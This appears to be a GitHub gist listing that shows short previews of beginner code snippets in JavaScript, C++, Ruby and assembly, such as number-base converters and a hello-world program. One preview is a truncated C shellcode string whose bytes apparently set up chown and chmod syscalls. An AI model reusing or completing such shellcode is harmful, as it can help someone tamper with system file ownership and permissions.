This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using namespace std; | |
//----------------------Convert a Java data------------------------\\ | |
jstring create_jstring(JNIEnv *env, const char *data) { | |
return env->NewStringUTF(data); | |
} | |
jint create_jint(JNIEnv *env, int data){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
build = 1; //start number=1 | |
rax = 0; //last used number | |
for(var i = 0;i<5;i++){ | |
tmp=build; | |
build+=rax; | |
rax=tmp; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const data = "Hello World"; | |
var bins = []; | |
for(var i=0;i<data.length;i++){ | |
bins.push(data.charCodeAt(i).toString(2)); | |
} | |
console.log(bins); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const data = "Hello World"; | |
var hexs = []; | |
for(var i=0;i<data.length;i++){ | |
hexs.push(data.charCodeAt(i).toString(16)); | |
} | |
console.log(hexs); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const data = "Hello World!!! This is a simple JS code to count word number."; | |
word_count = 0; | |
for(let i = 0;i<data.length;i++){ | |
if(data[i]==" "){ | |
word_count++; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const value1 = "Hello World!"; | |
var data = []; | |
for(var i in value1){ | |
if(value1[i]!=" ") data.push(value1[i]); | |
} | |
var build = []; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
char *shellcode= | |
"\xeb\x1f" | |
"\x31\xc0" | |
"\xb0\xb6" | |
"\x5b" | |
"\x31\xc9" | |
"\x31\xd2" | |
"\xcd\x80" | |
"\x31\xc0" | |
"\xb0\x0f" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
person | |
bicycle | |
car | |
motorbike | |
aeroplane | |
bus | |
train | |
truck | |
boat | |
traffic light |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
global _start | |
section .text | |
hw db "Hello, World!",0xA | |
_start: | |
mov rax, 0x1 | |
mov rdi, 0x1 | |
mov rsi, hw | |
mov rdx, 14 | |
syscall |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def num2bin(num) | |
build_reverse = "" | |
eax = num | |
while eax != 0 | |
build_reverse += (eax%2).to_s | |
eax = eax/2.to_i |
OlderNewer